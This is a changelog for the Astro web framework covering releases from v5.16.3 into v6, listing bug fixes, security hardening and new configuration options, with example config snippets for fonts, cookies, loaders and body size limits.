  • #​15444 10b0422 Thanks @​AhmadYasser1! - Fixes Astro.rewrite returning 404 when rewriting to a URL with non-ASCII characters

    When rewriting to a path containing non-ASCII characters (e.g., /redirected/héllo), the route lookup compared encoded distURL hrefs against decoded pathnames, causing the comparison to always fail and resulting in a 404. This fix compares against the encoded pathname instead.

  • #​15728 12ca621 Thanks @​SvetimFM! - Improves internal state retention for persisted elements during view transitions, especially avoiding WebGL context loss in Safari and resets of CSS transitions and iframes in modern Chromium and Firefox browsers

  • #​15279 8983f17 Thanks @​ematipico! - Fixes an issue where the dev server would serve files like /README.md from the project root when they shouldn't be accessible. A new route guard middleware now blocks direct URL access to files that exist outside of srcDir and publicDir, returning a 404 instead.

  • #​15703 829182b Thanks @​matthewp! - Fixes server islands returning a 500 error in dev mode for adapters that do not set adapterFeatures.buildOutput (e.g. @astrojs/netlify)

  • #​15749 573d188 Thanks @​ascorbic! - Fixes a bug that caused session.regenerate() to silently lose session data

    Previously, regenerated session data was not saved under the new session ID unless set() was also called.

  • #​15549 be1c87e Thanks @​0xRozier! - Fixes an issue where original (unoptimized) images from prerendered pages could be kept in the build output during SSR builds.

  • #​15454 b47a4e1 Thanks @​Fryuni! - Fixes a race condition in the content layer which could result in dropped content collection entries.

  • #​15685 1a323e5 Thanks @​jcayzac! - Fix regression where SVG images in content collection image() fields could not be rendered as inline components. This behavior is now restored while preserving the TLA deadlock fix.

  • #​15603 5bc2b2c Thanks @​0xRozier! - Fixes a deadlock that occurred when using SVG images in content collections

  • #​15385 9e16d63 Thanks @​matthewp! - Fixes content layer loaders that use dynamic imports

    Content collection loaders can now use await import() and import.meta.glob() to dynamically import modules during build. Previously, these would fail with "Vite module runner has been closed."

  • #​15565 30cd6db Thanks @​ematipico! - Fixes an issue where the use of the Code component would result in an unexpected error.

  • #​15125 6feb0d7 Thanks @​florian-lefebvre! - Fixes remote images Etag header handling by disabling internal cache

  • #​15317 7e1e35a Thanks @​matthewp! - Fixes ?raw imports failing when used in both SSR and prerendered routes

  • #​15809 94b4a46 Thanks @​Princesseuh! - Fixes fit defaults not being applied unless layout was also specified

  • #​15563 e959698 Thanks @​ematipico! - Fixes an issue where warnings would be logged during the build using one of the official adapters

  • #​15121 06261e0 Thanks @​ematipico! - Fixes a bug where the Astro, with the Cloudflare integration, couldn't correctly serve certain routes in the development server.

  • #​15585 98ea30c Thanks @​matthewp! - Add a default body size limit for server actions to prevent oversized requests from exhausting memory.

  • #​15264 11efb05 Thanks @​florian-lefebvre! - Lower the Node version requirement to allow running on Stackblitz until it supports v22

  • #​15778 4ebc1e3 Thanks @​ematipico! - Fixes an issue where the computed clientAddress was incorrect in cases of a Request header with multiple values. The clientAddress is now also validated to contain only characters valid in IP addresses, rejecting injection payloads.

  • #​15565 30cd6db Thanks @​ematipico! - Fixes an issue where the new Astro v6 development server didn't log anything when navigating the pages.

  • #​15024 22c48ba Thanks @​florian-lefebvre! - Fixes a case where JSON schema generation would fail for unrepresentable types

  • #​15669 d5a888b Thanks @​florian-lefebvre! - Removes the cssesc dependency

    This CommonJS dependency could sometimes cause errors because Astro is ESM-only. It is now replaced with a built-in ESM-friendly implementation.

  • #​15740 c5016fc Thanks @​matthewp! - Removes an escape hatch that skipped attribute escaping for URL values containing &, ensuring all dynamic attribute values are consistently escaped

  • #​15756 b6c64d1 Thanks @​matthewp! - Hardens the dev server by validating Sec-Fetch metadata headers to restrict cross-origin subresource requests

  • #​15744 fabb710 Thanks @​matthewp! - Fixes cookie handling during error page rendering to ensure cookies set by middleware are consistently included in the response

  • #​15776 e9a9cc6 Thanks @​matthewp! - Hardens error page response merging to ensure framing headers from the original response are not carried over to the rendered error page

  • #​15759 39ff2a5 Thanks @​matthewp! - Adds a new bodySizeLimit option to the @astrojs/node adapter

    You can now configure a maximum allowed request body size for your Node.js standalone server. The default limit is 1 GB. Set the value in bytes, or pass 0 to disable the limit entirely:

    import node from '@&#8203;astrojs/node';
    import { defineConfig } from 'astro/config';
    
    export default defineConfig({
      adapter: node({
        mode: 'standalone',
        bodySizeLimit: 1024 * 1024 * 100, // 100 MB
      }),
    });
    
  • #​15777 02e24d9 Thanks @​matthewp! - Fixes CSRF origin check mismatch by passing the actual server listening port to createRequest, ensuring the constructed URL origin includes the correct port (e.g., http://localhost:4321 instead of http://localhost). Also restricts X-Forwarded-Proto to only be trusted when allowedDomains is configured.

  • #​15742 9d9699c Thanks @​matthewp! - Hardens clientAddress resolution to respect security.allowedDomains for X-Forwarded-For, consistent with the existing handling of X-Forwarded-Host, X-Forwarded-Proto, and X-Forwarded-Port. The X-Forwarded-For header is now only used to determine Astro.clientAddress when the request's host has been validated against an allowedDomains entry. Without a matching domain, clientAddress falls back to the socket's remote address.

  • #​15768 6328f1a Thanks @​matthewp! - Hardens internal cookie parsing to use a null-prototype object consistently for the fallback path, aligning with how the cookie library handles parsed values

  • #​15125 6feb0d7 Thanks @​florian-lefebvre! - Fixes images not working in development when using setups with port forwarding

  • #​15811 2ba0db5 Thanks @​ematipico! - Fixes integration-injected scripts (e.g. Alpine.js via injectScript()) not being loaded in the dev server when using non-runnable environment adapters like @astrojs/cloudflare.

  • #​15208 8dbdd8e Thanks @​matthewp! - Makes session.driver optional in config schema, allowing adapters to provide default drivers

    Adapters like Cloudflare, Netlify, and Node provide default session drivers, so users can now configure session options (like ttl) without explicitly specifying a driver.

  • #​15260 abca1eb Thanks @​ematipico! - Fixes an issue where adding new pages weren't correctly shown when using the development server.

  • #​15591 1ed07bf Thanks @​renovate! - Upgrades devalue to v5.6.3

  • #​15137 2f70bf1 Thanks @​matthewp! - Adds legacy.collectionsBackwardsCompat flag that restores v5 backwards compatibility behavior for legacy content collections - (v6 upgrade guidance)

    When enabled, this flag allows:

    • Collections defined without loaders (automatically get glob loader)
    • Collections with type: 'content' or type: 'data'
    • Config files located at src/content/config.ts (legacy location)
    • Legacy entry API: entry.slug and entry.render() methods
    • Path-based entry IDs instead of slug-based IDs
    // astro.config.mjs
    export default defineConfig({
      legacy: {
        collectionsBackwardsCompat: true,
      },
    });
    

    This is a temporary migration helper for v6 upgrades. Migrate collections to the Content Layer API, then disable this flag.

  • #​15550 58df907 Thanks @​florian-lefebvre! - Improves the JSDoc annotations for the AstroAdapter type

  • #​15696 a9fd221 Thanks @​Princesseuh! - Fixes images not working in MDX when using the Cloudflare adapter in certain cases

  • #​15386 a0234a3 Thanks @​OliverSpeir! - Updates astro add cloudflare to use the latest valid compatibility_date in the wrangler config, if available

  • #​15036 f125a73 Thanks @​florian-lefebvre! - Fixes certain aliases not working when using images in JSON files with the content layer

  • #​15693 4db2089 Thanks @​ArmandPhilippot! - Fixes the links to Astro Docs to match the v6 structure.

  • #​15093 8d5f783 Thanks @​matthewp! - Reduces build memory by filtering routes per environment so each only builds the pages it needs

  • #​15268 54e5cc4 Thanks @​rururux! - fix: avoid creating unused images during build in Picture component

  • #​15757 631aaed Thanks @​matthewp! - Hardens URL pathname normalization to consistently handle backslash characters after decoding, ensuring middleware and router see the same canonical pathname

  • #​15337 7ff7b11 Thanks @​ematipico! - Fixes a bug where the development server couldn't serve newly created new pages while the development server is running.

  • #​15535 dfe2e22 Thanks @​florian-lefebvre! - Fixes the types of createApp() exported from astro/app/entrypoint

  • #​15073 2a39c32 Thanks @​ascorbic! - Don't log an error when there is no content config

  • #​15717 4000aaa Thanks @​matthewp! - Ensures that URLs with multiple leading slashes (e.g. //admin) are normalized to a single slash before reaching middleware, so that pathname checks like context.url.pathname.startsWith('/admin') work consistently regardless of the request URL format

  • #​15450 50c9129 Thanks @​florian-lefebvre! - Fixes a case where build.serverEntry would not be respected when using the new Adapter API

  • #​15331 4592be5 Thanks @​matthewp! - Fixes an issue where API routes would overwrite public files during build. Public files now correctly take priority over generated routes in both dev and build modes.

  • #​15414 faedcc4 Thanks @​sapphi-red! - Fixes a bug where some requests to the dev server didn't start with the leading /.

  • #​15419 a18d727 Thanks @​ematipico! - Fixes an issue where the add command could accept any arbitrary value, leading the possible command injections. Now add and --add accepts
    values that are only acceptable npmjs.org names.

  • #​15507 07f6610 Thanks @​matthewp! - Avoid bundling SSR renderers when only API endpoints are dynamic

  • #​15125 6feb0d7 Thanks @​florian-lefebvre! - Reduces Astro’s install size by around 8 MB

  • #​15752 918d394 Thanks @​ascorbic! - Fixes an issue where a session ID from a cookie with no matching server-side data was accepted as-is. The session now generates a new ID when the cookie value has no corresponding storage entry.

  • #​15743 3b4252a Thanks @​matthewp! - Hardens config-based redirects with catch-all parameters to prevent producing protocol-relative URLs (e.g. //example.com) in the Location header

  • #​15761 8939751 Thanks @​ematipico! - Fixes an issue where it wasn't possible to set experimental.queuedRendering.poolSize to 0.

  • #​15633 9d293c2 Thanks @​jwoyo! - Fixes a case where <script> tags from components passed as slots to server islands were not included in the response

  • #​15491 6c60b05 Thanks @​matthewp! - Fixes a case where setting vite.server.allowedHosts: true was turned into an invalid array

  • #​15459 a4406b4 Thanks @​florian-lefebvre! - Fixes a case where context.csp was logging warnings in development that should be logged in production only

  • #​15125 6feb0d7 Thanks @​florian-lefebvre! - Enables the ClientRouter to preserve the original hash part of the target URL during server side redirects.

  • #​15133 53b125b Thanks @​HiDeoo! - Fixes an issue where adding or removing <style> tags in Astro components would not visually update styles during development without restarting the development server.

  • #​15362 dbf71c0 Thanks @​jcayzac! - Fixes inferSize being kept in the HTML attributes of the emitted <img> when that option is used with an image that is not remote.

  • #​15421 bf62b6f Thanks @​Princesseuh! - Removes unintended logging

  • #​15732 2ce9e74 Thanks @​florian-lefebvre! - Updates docs links to point to the stable release

  • #​15718 14f37b8 Thanks @​florian-lefebvre! - Fixes a case where internal headers may leak when rendering error pages

  • #​15214 6bab8c9 Thanks @​ematipico! - Fixes an issue where the internal performance timers weren't correctly updated to reflect new build pipeline.

  • #​15112 5751d2b Thanks @​HiDeoo! - Fixes a Windows-specific build issue when importing an Astro component with a <script> tag using an import alias.

  • #​15345 840fbf9 Thanks @​matthewp! - Fixes an issue where .sql files (and other non-asset module types) were incorrectly moved to the client assets folder during SSR builds, causing "no such module" errors at runtime.

    The ssrMoveAssets function now reads the Vite manifest to determine which files are actual client assets (CSS and static assets like images) and only moves those, leaving server-side module files in place.

  • #​15259 8670a69 Thanks @​ematipico! - Fixes an issue where styles weren't correctly reloaded when using the @astrojs/cloudflare adapter.

  • #​15473 d653b86 Thanks @​matthewp! - Improves Host header handling for SSR deployments behind proxies

  • #​15047 5580372 Thanks @​matthewp! - Fixes wrangler config template in astro add cloudflare to use correct entrypoint and compatibility date

  • #​14589 7038f07 Thanks @​43081j! - Improves CLI styling

  • #​15586 35bc814 Thanks @​matthewp! - Fixes an issue where allowlists were not being enforced when handling remote images

  • #​15422 68770ef Thanks @​matthewp! - Upgrade to @​astrojs/compiler@​3.0.0-beta

  • #​15205 12adc55 Thanks @​martrapp! - Fixes an issue where the astro:page-load event did not fire on initial page loads.

  • #​15125 6feb0d7 Thanks @​florian-lefebvre! - BREAKING CHANGE to the experimental Fonts API only

    Changes the font format downloaded by default when using the experimental Fonts API. Additionally, adds a new formats configuration option to specify which font formats to download.

    Previously, Astro was opinionated about which font sources would be kept for usage, mainly keeping woff2 and woff files.

    You can now specify what font formats should be downloaded (if available). Only woff2 files are downloaded by default.

What should I do?

If you were previously relying on Astro downloading the woff format, you will now need to specify this explicitly with the new formats configuration option. Additionally, you may also specify any additional file formats to download if available:

// astro.config.mjs
import { defineConfig, fontProviders } from 'astro/config'

export default defineConfig({
    experimental: {
        fonts: [{
            name: 'Roboto',
            cssVariable: '--font-roboto',
            provider: fontProviders.google(),
+            formats: ['woff2', 'woff', 'otf']
        }]
    }
})

v5.18.2

Compare Source

Patch Changes
  • #​16813 8f7d8c4 Thanks @​matthewp! - Populates styles in the SSR manifest for prerendered routes. Previously, prerendered routes had styles: [] in the manifest, making it impossible for workers or middleware to discover which CSS files a prerendered page uses.

v5.18.1

Compare Source

Patch Changes

v5.18.0

Compare Source

Minor Changes
  • #​15589 b7dd447 Thanks @​qzio! - Adds a new security.actionBodySizeLimit option to configure the maximum size of Astro Actions request bodies.

    This lets you increase the default 1 MB limit when your actions need to accept larger payloads. For example, actions that handle file uploads or large JSON payloads can now opt in to a higher limit.

    If you do not set this option, Astro continues to enforce the 1 MB default to help prevent abuse.

    // astro.config.mjs
    export default defineConfig({
      security: {
        actionBodySizeLimit: 10 * 1024 * 1024, // set to 10 MB
      },
    });
    
Patch Changes
  • #​15594 efae11c Thanks @​qzio! - Fix X-Forwarded-Proto validation when allowedDomains includes both protocol and hostname fields. The protocol check no longer fails due to hostname mismatch against the hardcoded test URL.

v5.17.3

Compare Source

Patch Changes

v5.17.2

Compare Source

Patch Changes
  • c13b536 Thanks @​matthewp! - Improves Host header handling for SSR deployments behind proxies

v5.17.1

Compare Source

Patch Changes
  • #​15334 d715f1f Thanks @​florian-lefebvre! - BREAKING CHANGE to the experimental Fonts API only

    Removes the getFontBuffer() helper function exported from astro:assets when using the experimental Fonts API

    This experimental feature introduced in v15.6.13 ended up causing significant memory usage during build. This feature has been removed and will be reintroduced after further exploration and testing.

    If you were relying on this function, you can replicate the previous behavior manually:

    • On prerendered routes, read the file using node:fs
    • On server rendered routes, fetch files using URLs from fontData and context.url

v5.17.0

Compare Source

Minor Changes
  • #​14932 b19d816 Thanks @​patrickarlt! - Adds support for returning a Promise from the parser() option of the file() loader

    This enables you to run asynchronous code such as fetching remote data or using async parsers when loading files with the Content Layer API.

    For example:

    import { defineCollection } from 'astro:content';
    import { file } from 'astro/loaders';
    
    const blog = defineCollection({
      loader: file('src/data/blog.json', {
        parser: async (text) => {
          const data = JSON.parse(text);
    
          // Perform async operations like fetching additional data
          const enrichedData = await fetch(`https://api.example.com/enrich`, {
            method: 'POST',
            body: JSON.stringify(data),
          }).then((res) => res.json());
    
          return enrichedData;
        },
      }),
    });
    
    export const collections = { blog };
    

    See the parser() reference documentation for more information.

  • #​15171 f220726 Thanks @​mark-ignacio! - Adds a new, optional kernel configuration option to select a resize algorithm in the Sharp image service

    By default, Sharp resizes images with the lanczos3 kernel. This new config option allows you to set the default resizing algorithm to any resizing option supported by Sharp (e.g. linear, mks2021).

    Kernel selection can produce quite noticeable differences depending on various characteristics of the source image - especially drawn art - so changing the kernel gives you more control over the appearance of images on your site:

    export default defineConfig({
      image: {
        service: {
          entrypoint: 'astro/assets/services/sharp',
          config: {
            kernel: "mks2021"
          }
      }
    })
    

    This selection will apply to all images on your site, and is not yet configurable on a per-image basis. For more information, see Sharps documentation on resizing images.

  • #​15063 08e0fd7 Thanks @​jmortlock! - Adds a new partitioned option when setting a cookie to allow creating partitioned cookies.

    Partitioned cookies can only be read within the context of the top-level site on which they were set. This allows cross-site tracking to be blocked, while still enabling legitimate uses of third-party cookies.

    You can create a partitioned cookie by passing partitioned: true when setting a cookie. Note that partitioned cookies must also be set with secure: true:

    Astro.cookies.set('my-cookie', 'value', {
      partitioned: true,
      secure: true,
    });
    

    For more information, see the AstroCookieSetOptions API reference.

  • #​15022 f1fce0e Thanks @​ascorbic! - Adds a new retainBody option to the glob() loader to allow reducing the size of the data store.

    Currently, the glob() loader stores the raw body of each content file in the entry, in addition to the rendered HTML.

    The retainBody option defaults to true, but you can set it to false to prevent the raw body of content files from being stored in the data store. This significantly reduces the deployed size of the data store and helps avoid hitting size limits for sites with very large collections.

    The rendered body will still be available in the entry.rendered.html property for markdown files, and the entry.filePath property will still point to the original file.

    import { defineCollection } from 'astro:content';
    import { glob } from 'astro/loaders';
    
    const blog = defineCollection({
      loader: glob({
        pattern: '**/*.md',
        base: './src/content/blog',
        retainBody: false,
      }),
    });
    

    When retainBody is false, entry.body will be undefined instead of containing the raw file contents.

  • #​15153 928529f Thanks @​jcayzac! - Adds a new background property to the <Image /> component.

    This optional property lets you pass a background color to flatten the image with. By default, Sharp uses a black background when flattening an image that is being converted to a format that does not support transparency (e.g. jpeg). Providing a value for background on an <Image /> component, or passing it to the getImage() helper, will flatten images using that color instead.

    This is especially useful when the requested output format doesn't support an alpha channel (e.g. jpeg) and can't support transparent backgrounds.

    ---
    import { Image } from 'astro:assets';
    ---
    
    <Image
      src="/transparent.png"
      alt="A JPEG with a white background!"
      format="jpeg"
      background="#ffffff"
    />
    

    See more about this new property in the image reference docs

  • #​15015 54f6006 Thanks @​tony! - Adds optional placement config option for the dev toolbar.

    You can now configure the default toolbar position ('bottom-left', 'bottom-center', or 'bottom-right') via devToolbar.placement in your Astro config. This option is helpful for sites with UI elements (chat widgets, cookie banners) that are consistently obscured by the toolbar in the dev environment.

    You can set a project default that is consistent across environments (e.g. dev machines, browser instances, team members):

    // astro.config.mjs
    export default defineConfig({
      devToolbar: {
        placement: 'bottom-left',
      },
    });
    

    User preferences from the toolbar UI (stored in localStorage) still take priority, so this setting can be overridden in individual situations as necessary.

v5.16.16

Compare Source

Patch Changes

v5.16.15

Compare Source

Patch Changes
  • #​15286 0aafc83 Thanks @​florian-lefebvre! - Fixes a case where font providers provided as class instances may not work when using the experimental Fonts API. It affected the local provider

v5.16.14

Compare Source

Patch Changes
  • #​15213 c775fce Thanks @​florian-lefebvre! - BREAKING CHANGE to the experimental Fonts API only

    Updates how the local provider must be used when using the experimental Fonts API

    Previously, there were 2 kinds of font providers: remote and local.

    Font providers are now unified. If you are using the local provider, the process for configuring local fonts must be updated:

    -import { defineConfig } from "astro/config";
    +import { defineConfig, fontProviders } from "astro/config";
    
    export default defineConfig({
        experimental: {
            fonts: [{
                name: "Custom",
                cssVariable: "--font-custom",
    -            provider: "local",
    +            provider: fontProviders.local(),
    +            options: {
                variants: [
                    {
                        weight: 400,
                        style: "normal",
                        src: ["./src/assets/fonts/custom-400.woff2"]
                    },
                    {
                        weight: 700,
                        style: "normal",
                        src: ["./src/assets/fonts/custom-700.woff2"]
                    }
                    // ...
                ]
    +            }
            }]
        }
    });
    

    Once configured, there is no change to using local fonts in your project. However, you should inspect your deployed site to confirm that your new font configuration is being applied.

    See the experimental Fonts API docs for more information.

  • #​15213 c775fce Thanks @​florian-lefebvre! - Exposes root on FontProvider init() context

    When building a custom FontProvider for the experimental Fonts API, the init() method receives a context. This context now exposes a root URL, useful for resolving local files:

    import type { FontProvider } from "astro";
    
    export function registryFontProvider(): FontProvider {
      return {
        // ...
    -    init: async ({ storage }) => {
    +    init: async ({ storage, root }) => {
            // ...
        },
      };
    }
    
  • #​15185 edabeaa Thanks @​EricGrill! - Add .vercel to .gitignore when adding the Vercel adapter via astro add vercel

v5.16.13

Compare Source

Patch Changes
  • #​15182 cb60ee1 Thanks @​florian-lefebvre! - Adds a new getFontBuffer() method to retrieve font file buffers when using the experimental Fonts API

    The getFontData() helper function from astro:assets was introduced in 5.14.0 to provide access to font family data for use outside of Astro. One of the goals of this API was to be able to retrieve buffers using URLs.

    However, it turned out to be impractical and even impossible during prerendering.

    Astro now exports a new getFontBuffer() helper function from astro:assets to retrieve font file buffers from URL returned by getFontData(). For example, when using satori to generate Open Graph images:

    // src/pages/og.png.ts
    
    import type{ APIRoute } from "astro"
    -import { getFontData } from "astro:assets"
    +import { getFontData, getFontBuffer } from "astro:assets"
    import satori from "satori"
    
    export const GET: APIRoute = (context) => {
      const data = getFontData("--font-roboto")
    
      const svg = await satori(
        <div style={{ color: "black" }}>hello, world</div>,
        {
          width: 600,
          height: 400,
          fonts: [
            {
              name: "Roboto",
    -          data: await fetch(new URL(data[0].src[0].url, context.url.origin)).then(res => res.arrayBuffer()),
    +          data: await getFontBuffer(data[0].src[0].url),
              weight: 400,
              style: "normal",
            },
          ],
        },
      )
    
      // ...
    }
    

    See the experimental Fonts API documentation for more information.

v5.16.12

Compare Source

Patch Changes
  • #​15175 47ae148 Thanks @​florian-lefebvre! - Allows experimental Font providers to specify family options

    Previously, an Astro FontProvider could only accept options at the provider level when called. That could result in weird data structures for family-specific options.

    Astro FontProviders can now declare family-specific options, by specifying a generic:

    // font-provider.ts
    import type { FontProvider } from "astro";
    import { retrieveFonts, type Fonts } from "./utils.js",
    
    interface Config {
      token: string;
    }
    
    +interface FamilyOptions {
    +    minimal?: boolean;
    +}
    
    -export function registryFontProvider(config: Config): FontProvider {
    +export function registryFontProvider(config: Config): FontProvider<FamilyOptions> {
      let data: Fonts = {}
    
      return {
        name: "registry",
        config,
        init: async () => {
          data = await retrieveFonts(token);
        },
        listFonts: () => {
          return Object.keys(data);
        },
    -    resolveFont: ({ familyName, ...rest }) => {
    +    // options is typed as FamilyOptions
    +    resolveFont: ({ familyName, options, ...rest }) => {
          const fonts = data[familyName];
          if (fonts) {
            return { fonts };
          }
          return undefined;
        },
      };
    }
    

    Once the font provider is registered in the Astro config, types are automatically inferred:

    // astro.config.ts
    import { defineConfig } from "astro/config";
    import { registryFontProvider } from "./font-provider";
    
    export default defineConfig({
        experimental: {
            fonts: [{
                provider: registryFontProvider({
                  token: "..."
                }),
                name: "Custom",
                cssVariable: "--font-custom",
    +            options: {
    +                minimal: true
    +            }
            }]
        }
    });
    
  • #​15175 47ae148 Thanks @​florian-lefebvre! - BREAKING CHANGE to the experimental Fonts API only

    Updates how options are passed to the Google and Google Icons font providers when using the experimental Fonts API

    Previously, the Google and Google Icons font providers accepted options that were specific to given font families.

    These options must now be set using the options property instead. For example using the Google provider:

    import { defineConfig, fontProviders } from "astro/config";
    
    export default defineConfig({
        experimental: {
            fonts: [{
                name: 'Inter',
                cssVariable: '--astro-font-inter',
                weights: ['300 900'],
    -            provider: fontProviders.google({
    -                experimental: {
    -                    variableAxis: {
    -                        Inter: { opsz: ['14..32'] }
    -                    }
    -                }
    -            }),
    +            provider: fontProviders.google(),
    +            options: {
    +                experimental: {
    +                    variableAxis: { opsz: ['14..32'] }
    +                }
    +            }
            }]
        }
    })
    
  • #​15200 c0595b3 Thanks @​florian-lefebvre! - BREAKING CHANGE to the experimental Fonts API only

    Removes getFontData() exported from astro:assets with fontData when using the experimental Fonts API

    Accessing font data can be useful for advanced use cases, such as generating meta tags or Open Graph images. Before, we exposed a getFontData() helper function to retrieve the font data for a given cssVariable. That was however limiting for programmatic usages that need to access all font data.

    The getFontData() helper function is removed and replaced by a new fontData object:

    -import { getFontData } from "astro:assets";
    -const data = getFontData("--font-roboto")
    
    +import { fontData } from "astro:assets";
    +const data = fontData["--font-roboto"]
    

    We may reintroduce getFontData() later on for a more friendly DX, based on your feedback.

  • #​15254 8d84b30 Thanks @​lamalex! - Fixes CSS assetsPrefix with remote URLs incorrectly prepending a forward slash

    When using build.assetsPrefix with a remote URL (e.g., https://cdn.example.com) for CSS assets, the generated <link> elements were incorrectly getting a / prepended to the full URL, resulting in invalid URLs like /https://cdn.example.com/assets/style.css.

    This fix checks if the stylesheet link is a remote URL before prepending the forward slash.

  • #​15178 731f52d Thanks @​kedarvartak! - Fixes an issue where stopping the dev server with q+enter incorrectly created a dist folder and copied font files when using the experimental Fonts API

  • #​15230 3da6272 Thanks @​rahuld109! - Fixes greedy regex in error message markdown rendering that caused link syntax examples to capture extra characters

  • #​15253 2a6315a Thanks @​matthewp! - Fixes hydration for React components nested inside HTML elements in MDX files

  • #​15227 9a609f4 Thanks @​matthewp! - Fixes styles not being included for conditionally rendered Svelte 5 components in production builds

  • #​14607 ee52160 Thanks @​simensfo! - Reintroduces css deduplication for hydrated client components. Ensures assets already added to a client chunk are not flagged as orphaned

v5.16.11

Compare Source

Patch Changes

v5.16.10

Compare Source

Patch Changes
  • 2fa19c4 - Improved error handling in the rendering phase

    Added defensive validation in App.render() and #renderError() to provide a descriptive error message when a route module doesn't have a valid page function.

  • #​15199 d8e64ef Thanks @​ArmandPhilippot! - Fixes the links to Astro Docs so that they match the current docs structure.

  • #​15169 b803d8b Thanks @​rururux! - fix: fix image 500 error when moving dist directory in standalone Node

  • #​14622 9b35c62 Thanks @​aprici7y! - Fixes CSS url() references to public assets returning 404 in dev mode when base path is configured

  • #​15219 43df4ce Thanks @​matthewp! - Upgrades the diff package to v8

v5.16.9

Compare Source

Patch Changes
  • #​15174 37ab65a Thanks @​florian-lefebvre! - Adds Google Icons to built-in font providers

    To start using it, access it on fontProviders:

    import { defineConfig, fontProviders } from 'astro/config';
    
    export default defineConfig({
      experimental: {
        fonts: [
          {
            name: 'Material Symbols Outlined',
            provider: fontProviders.googleicons(),
            cssVariable: '--font-material',
          },
        ],
      },
    });
    
  • #​15150 a77c4f4 Thanks @​matthewp! - Fixes hydration for framework components inside MDX when using Astro.slots.render()

    Previously, when multiple framework components with client:* directives were passed as named slots to an Astro component in MDX, only the first slot would hydrate correctly. Subsequent slots would render their HTML but fail to include the necessary hydration scripts.

  • #​15130 9b726c4 Thanks @​florian-lefebvre! - BREAKING CHANGE to the experimental Fonts API only

    Changes how font providers are implemented with updates to the FontProvider type

    This is an implementation detail that changes how font providers are created. This process allows Astro to take more control rather than relying directly on unifont types. All of Astro's built-in font providers have been updated to reflect this new type, and can be configured as before. However, using third-party unifont providers that rely on unifont types will require an update to your project code.

    Previously, an Astro FontProvider was made of a config and a runtime part. It relied directly on unifont types, which allowed a simple configuration for third-party unifont providers, but also coupled Astro's implementation to unifont, which was limiting.

    Astro's font provider implementation is now only made of a config part with dedicated hooks. This allows for the separation of config and runtime, but requires you to create a font provider object in order to use custom font providers (e.g. third-party unifont providers, or private font registries).

What should I do?

If you were using a 3rd-party unifont font provider, you will now need to write an Astro FontProvider using it under the hood. For example:

// astro.config.ts
import { defineConfig } from "astro/config";
import { acmeProvider, type AcmeOptions } from '@&#8203;acme/unifont-provider'
+import type { FontProvider } from "astro";
+import type { InitializedProvider } from 'unifont';

+function acme(config?: AcmeOptions): FontProvider {
+	const provider = acmeProvider(config);
+	let initializedProvider: InitializedProvider | undefined;
+	return {
+		name: provider._name,
+		config,
+		async init(context) {
+			initializedProvider = await provider(context);
+		},
+		async resolveFont({ familyName, ...rest }) {
+			return await initializedProvider?.resolveFont(familyName, rest);
+		},
+		async listFonts() {
+			return await initializedProvider?.listFonts?.();
+		},
+	};
+}

export default defineConfig({
    experimental: {
        fonts: [{
-            provider: acmeProvider({ /* ... */ }),
+            provider: acme({ /* ... */ }),
            name: "Material Symbols Outlined",
            cssVariable: "--font-material"
        }]
    }
});
  • #​15147 9cd5b87 Thanks @​matthewp! - Fixes scripts in components not rendering when a sibling <Fragment slot="..."> exists but is unused

v5.16.8

Compare Source

Patch Changes

v5.16.7

Compare Source

Patch Changes
  • #​15122 b137946 Thanks @​florian-lefebvre! - Improves JSDoc annotations for AstroGlobal, AstroSharedContext and APIContext types

  • #​15123 3f58fa2 Thanks @​43081j! - Improves rendering performance by grouping render chunks when emitting from async iterables to avoid encoding costs

  • #​14954 7bec4bd Thanks @​volpeon! - Fixes remote images Etag header handling by disabling internal cache

  • #​15052 b2bcd5a Thanks @​Princesseuh! - Fixes images not working in development when using setups with port forwarding

  • #​15028 87b19b8 Thanks @​Princesseuh! - Fixes certain aliases not working when using images in JSON files with the content layer

  • #​15118 cfa382b Thanks @​florian-lefebvre! - BREAKING CHANGE to the experimental Fonts API only

    Removes the defineAstroFontProvider() type helper.

    If you are building a custom font provider, remove any occurrence of defineAstroFontProvider() and use the FontProvider type instead:

    -import { defineAstroFontProvider } from 'astro/config';
    
    -export function myProvider() {
    -    return defineAstroFontProvider({
    -        entrypoint: new URL('./implementation.js', import.meta.url)
    -    });
    -};
    
    +import type { FontProvider } from 'astro';
    
    +export function myProvider(): FontProvider {
    +    return {
    +        entrypoint: new URL('./implementation.js', import.meta.url)
    +    },
    +}
    
  • #​15055 4e28db8 Thanks @​delucis! - Reduces Astro’s install size by around 8 MB

  • #​15088 a19140f Thanks @​martrapp! - Enables the ClientRouter to preserve the original hash part of the target URL during server side redirects.

  • #​15117 b1e8e32 Thanks @​florian-lefebvre! - BREAKING CHANGE to the experimental Fonts API only

    Changes the font format downloaded by default when using the experimental Fonts API. Additionally, adds a new formats configuration option to specify which font formats to download.

    Previously, Astro was opinionated about which font sources would be kept for usage, mainly keeping woff2 and woff files.

    You can now specify what font formats should be downloaded (if available). Only woff2 files are downloaded by default.

What should I do?

If you were previously relying on Astro downloading the woff format, you will now need to specify this explicitly with the new formats configuration option. Additionally, you may also specify any additional file formats to download if available:

// astro.config.mjs
import { defineConfig, fontProviders } from 'astro/config'

export default defineConfig({
    experimental: {
        fonts: [{
            name: 'Roboto',
            cssVariable: '--font-roboto',
            provider: fontProviders.google(),
+            formats: ['woff2', 'woff', 'otf']
        }]
    }
})

v5.16.6

Compare Source

Patch Changes

v5.16.5

Compare Source

Patch Changes
  • #​14985 c016f10 Thanks @​florian-lefebvre! - Fixes a case where JSDoc annotations wouldn't show for fonts related APIs in the Astro config

  • #​14973 ed7cc2f Thanks @​amankumarpandeyin! - Fixes performance regression and OOM errors when building medium-sized blogs with many content entries. Replaced O(n²) object spread pattern with direct mutation in generateLookupMap.

  • #​14958 70eb542 Thanks @​ascorbic! - Gives a helpful error message if a user sets output: "hybrid" in their Astro config.

    The option was removed in Astro 5, but lots of content online still references it, and LLMs often suggest it. It's not always clear that the replacement is output: "static", rather than output: "server". This change adds a helpful error message to guide humans and robots.

  • #​14901 ef53716 Thanks @​Darknab! - Updates the glob() loader to log a warning when duplicated IDs are detected

  • Updated dependencies [d8305f8]:

v5.16.4

Compare Source

Patch Changes
  • #​14940 2cf79c2 Thanks @​ematipico! - Fixes a bug where Astro didn't properly combine CSP resources from the csp configuration with those added using the runtime API (Astro.csp.insertDirective()) to form grammatically correct CSP headers

    Now Astro correctly deduplicate CSP resources. For example, if you have a global resource in the configuration file, and then you add a
    a new one using the runtime APIs.

v5.16.3

Compare Source

Patch Changes
  • #​14889 4bceeb0 Thanks @​florian-lefebvre! - Fixes actions types when using specific TypeScript configurations

